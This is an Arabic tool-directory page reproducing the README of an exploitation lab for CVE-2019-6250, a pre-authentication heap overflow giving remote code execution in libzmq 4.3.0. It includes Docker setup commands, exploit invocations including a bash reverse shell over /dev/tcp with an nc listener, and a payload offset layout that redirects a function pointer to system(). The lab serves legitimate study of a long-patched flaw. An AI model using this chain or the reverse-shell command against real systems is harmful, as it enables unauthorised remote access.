Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2019-6250-lab — مختبر شامل لاستغلال (RCE) قبل المصادقة لـ CVE-2019-6250 (libzmq <= 4.3.0، بروتوكول ZMTP/2.0) | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2019-6250-lab
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

مختبر شامل لاستغلال (RCE) قبل المصادقة لـ CVE-2019-6250 (libzmq <= 4.3.0، بروتوكول ZMTP/2.0)

عرض المستودع
10منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-6250 — مختبر RCE قبل المصادقة في libzmq

CVE CVSS Affected License

سلسلة RCE كاملة شاملة + مختبر قابل للتكرار لثغرة CVE-2019-6250، وهي تجاوز سعة المخزن المؤقت في الكومة قبل المصادقة في libzmq في v2_decoder_t::size_ready. يسمح تجاوز الحساب الحسابي لمؤشر uint64_t لمستخدم غير مصدق بالكتابة فوق مؤشر الدالة msg_t::content_t::ffn المجاور في مسار wire ZMTP/2.0، ثم تفعيلها عبر إغلاق مقبس TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

بواسطة Nicolas Krassas (@dinosn).

للاستخدام المختبري فقط. تحتوي هذه الحزمة على libzmq 4.3.0 ضعيفة عمدًا. لا تعرض المنفذ 5555 خارج المختبر. تم إصلاح الثغرة منذ سبع سنوات في libzmq 4.3.1 (الالتزام 1a2ed127).


العرض التوضيحي

سلسلة system() — إثبات الملف

سلسلة النظام

صدفة عكسية — root تفاعلي

صدفة عكسية

اختبار تدخين آلي شامل من البداية للنهاية

اختبار تدخين آلي شامل


الخلاصة (Docker)

docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# داخل الحاوية:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- تم إنشاؤه بواسطة عملية خادم libzmq

الخلاصة (على المعدن العاري — Debian 12 / Kali 2024.x / Ubuntu 22.04)

sudo ./setup.sh                       # بناء libzmq 4.3.0 + الهدف، تعطيل ASLR
sudo ./start_server.sh                # ربط tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # الأمر الافتراضي: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

الصدفة العكسية

# الطرفية 1 — المستمع
nc -lvnp 4444

# الطرفية 2 — إطلاق السلسلة
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

يجب أن ترى شيئًا مشابهًا لـ:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

يؤكد سطر cannot set terminal process group (1355844) أن الصدفة تم إنشاؤها بواسطة عملية libzmq الهدف (PID 1355844)، وليس أي شيء قمت بتشغيله محليًا.


تخطيط المستودع

.
├── README.md             # أنت هنا
├── server.c              # مستمع PULL صغير — الهدف الضعيف
├── exploit.py            # سلسلة RCE كاملة
├── setup.sh              # مزود المعدن العاري (استنساخ + بناء libzmq 4.3.0)
├── start_server.sh       # بدء/إعادة تشغيل الهدف
├── read_addresses.sh     # إعادة توليد ملف تعريف العناوين لصورة مختلفة
├── run_lab_test.sh       # اختبار تدخين آلي شامل من البداية للنهاية (مناسب لـ CI)
├── Dockerfile            # أمر واحد لإنشاء مختبر محوسب
└── screenshots/          # لقطات شاشة README (مولدة باستخدام charmbracelet/freeze)

الآلية

1. الثغرة

src/v2_decoder.cpp:117 (libzmq 4.3.0):

shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- يلتف
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // مسار آمن
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // مسار aliasing صفري النسخ — _in_progress.data() == read_pos_
}

msg_size_ هو uint64_t كبير البايت يتحكم به المهاجم من رأس الإطار الكبير ZMTP/2.0. مع msg_size_ = 0xFFFFFFFFFFFFFFFF، يلتف المجموع read_pos_ + msg_size_ مودولو 2⁶⁴ وينتهي به الأمر أقل من الجانب الأيمن. يقيم فحص الحدود على أنه خطأ → يقع التنفيذ في مسار النسخ الصفري → رسالة _in_progress تقوم بتأويل المخزن المؤقت للاستقبال. يطلب المُفكِّك بعد ذلك من النواة 0xFFFFFFFFFFFFFFFF بايت إضافية في read_pos_، ويقوم recv() بسعادة بكتابة حمولتنا بعد نهاية المخزن المؤقت للاستقبال إلى المصفوفة content_t[] المجاورة (المخصصة في نفس قطعة malloc() في decoder_allocators.cpp:88).

2. السلسلة

[ atomic_counter_t (refcnt) ]   8 بايت
[ مخزن الاستقبال ]                 8192 بايت  ← تبدأ البايتات بالهبوط عند read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 بايت
                                ↑ content_t[0] تبدأ عند read_pos_+8183

نرسل حمولة بطول 8224 بايت منظمة بحيث:

إزاحة الحمولةالبايتاتما يتم الكتابة فوقه
[0:16]حشو(في مخزن الاستقبال)
[16:K]سلسلة الأوامر + NUL(في مخزن الاستقبال — وسيطة system)
[K:8183]حشو(في مخزن الاستقبال)
[8183:8191]read_pos+16content_t[0].data (→ الأمر)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (هدف تدفق التحكم)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

عندما نغلق مقبس TCP، يستدعي ~v2_decoder_t() للخادم _in_progress.close(). في msg_t::close:

if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

قام init_external_storage بتعيين _u.zclmsg.flags = 0، لذا فإن الاختصار OR يأخذ الفرع فورًا — حتى refcnt لا يتم التحقق منه. ffn المُستبدَل لدينا ينفذ.

لا يوجد ROP، ولا شيلكود، ولا تسريب معلومات: مجرد حل رمز واحد من libc وسلسلة أوامر مضمنة واحدة.

3. الوصول إلى v2_decoder_t بدون مصادقة

بالنظر إلى stream_engine.cpp:707:

bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- لا يوجد كائن آلية
    return true;
}

مسار ZMTP/2.0 ينشئ v2_decoder_t بـ لا آلية. فقط ZAP يرفض اتصالات 2.0، و ZAP معطل افتراضيًا. بمجرد أن يرسل النظير تحية ZMTP/2.0 ذات الـ 12 بايت (0xff + 8 أصفار + 0x7f + المراجعة 0x01 + نوع المقبس)، يتم تحليل كل بايت تالي بواسطة v2_decoder_t. لا مصادقة. لا مصافحة. لا آلة حالة آلية.


أدلة ASAN

اختياري: البناء مع -fsanitize=address وشاهد تقرير تجاوز سعة المخزن المؤقت في الكومة:

تقرير ASAN

تأكيد 0 bytes after 18160-byte region يؤكد حجم القطعة الذي حسبناه: 8 (atomic_counter) + 8192 (مخزن الاستقبال) + 249 × 40 (مصفوفة content_t) = 18160. موقع التخصيص في handshake_v2_0:719 يؤكد أن الثغرة تنشأ في مسار ZMTP/2.0 قبل المصادقة.


لماذا العناوين المضمنة

مع kernel.randomize_va_space=0، تكون قاعدة libc، وقاعدة libzmq، والكومة، ومنطقة malloc لخيط I/O جميعها في عناوين حتمية. يتم التقاط الملف الشخصي الافتراضي في exploit.py (DEFAULT_PROFILE) لبناء المختبر المرفق (Debian 12 / Kali 2024.1 / glibc 2.38، libzmq 4.3.0 وضع الإصدار -O2):

تنزيل الأداة